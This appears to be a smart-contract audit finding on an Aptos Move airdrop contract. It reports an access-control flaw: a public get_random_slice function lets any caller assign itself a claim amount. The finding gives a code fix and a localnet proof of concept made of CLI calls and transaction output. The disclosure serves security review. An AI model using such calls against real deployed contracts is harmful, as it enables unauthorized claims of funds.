Description
-
Only the contract owner should register users and assign token amounts via register_pizza_lover
.
-
The issue is that get_random_slice
It is a public entry function, allowing anyone to call it for any address, bypassing owner checks and self-assigning a claim.
#[randomness]
entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401
let random_amount = 100 + random_val; // 100-500 APT
@> table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}
Risk
Likelihood:
Impact:
Recommended Mitigation
The root cause is that get_random_slice
is a public entry function, letting anyone assign themselves a claim amount; fixing it requires restricting access to the owner
Code Fix Example
-
- entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
- let state = borrow_global_mut<State>(get_resource_address());
- let time = timestamp::now_microseconds();
- let random_val = time % 401;
- let random_amount = 100 + random_val;
- table::add(&mut state.users_claimed_amount, user_addr, random_amount);
- }
+ fun get_random_slice_internal(user_addr: address) acquires State {
+ let state = borrow_global_mut<State>(get_resource_address());
+ let time = timestamp::now_microseconds();
+ let random_val = time % 401;
+ let random_amount = 100 + random_val;
+ if (!table::contains(&state.users_claimed_amount, user_addr)) {
+ table::add(&mut state.users_claimed_amount, user_addr, random_amount);
+ }
+ }
+
+ public entry fun register_pizza_lover(owner: &signer, user: address) acquires ModuleData, State {
+ let state = borrow_global_mut<State>(get_resource_address());
+ assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
+ get_random_slice_internal(user);
+ event::emit(PizzaLoverRegistered { user });
+ }
Proof of Concept/ Steps to exploit the issue
Note: I have deployed the contract on localnet contract address 0x6d3fd3c98cd61bf253b56bc5ff6f931be72c46b3b66259dc74c53322438fc349
1. Create a New Address on Localnet
Command:
aptos init --profile user3
Output:
Configuring for profile user3
Choose network from [devnet, testnet, mainnet, local, custom | defaults to devnet]
local
Enter your private key as a hex literal (0x...) [Current: None | No input: Generate new key (or keep one if present)]
No key given, generating key...
Account 0x4b7ed41990663819409478062912a0b991d3697bd400bed74804a9e80438d0bc is not funded, funding it with 100000000 Octas
Account 0x4b7ed41990663819409478062912a0b991d3697bd400bed74804a9e80438d0bc funded successfully
---
Aptos CLI is now set up for account 0x4b7ed41990663819409478062912a0b991d3697bd400bed74804a9e80438d0bc as profile user3!
---
{
"Result": "Success"
}
2. Attempt to Call get_random_slice
as a Non-Owner
Using the newly created user3
account (which is not the contract owner), execute the get_random_slice
function to assign a reward:
aptos move run \
--function-id 0x6d3fd3c98cd61bf253b56bc5ff6f931be72c46b3b66259dc74c53322438fc349::airdrop::get_random_slice \
--args address:0x4b7ed41990663819409478062912a0b991d3697bd400bed74804a9e80438d0b \
--profile user3
Prompt:
Do you want to submit a transaction for a range of [92800 - 139200] Octas at a gas unit price of 100 Octas? [yes/no] > yes
Transaction Result:
Transaction submitted: https://explorer.aptoslabs.com/txn/0xfa2e6d0fa41779be04b65ad4e12a684cbd178414408426bca732aa9ca279e956?network=local
{
"Result": {
"transaction_hash": "0xfa2e6d0fa41779be04b65ad4e12a684cbd178414408426bca732aa9ca279e956",
"gas_used": 928,
"gas_unit_price": 100,
"sender": "4b7ed41990663819409478062912a0b991d3697bd400bed74804a9e80438d0bc",
"sequence_number": 0,
"replay_protector": {
"SequenceNumber": 0
},
"success": true,
"timestamp_us": 1756422270006805,
"version": 6952,
"vm_status": "Executed successfully"
}
}
3. Verify Assigned Reward for user3
To check if the user3
address successfully received an assigned pizza slice:
aptos move view \
--function-id 0x6d3fd3c98cd61bf253b56bc5ff6f931be72c46b3b66259dc74c53322438fc349::airdrop::get_claimed_amount \
--args address:0x4b7ed41990663819409478062912a0b991d3697bd400bed74804a9e80438d0b \
--profile user3
Output:
Observation: The transaction succeeded, and user3
was able to claim a reward despite not being the contract owner, demonstrating Unauthorized User Registration / Amount Assignment.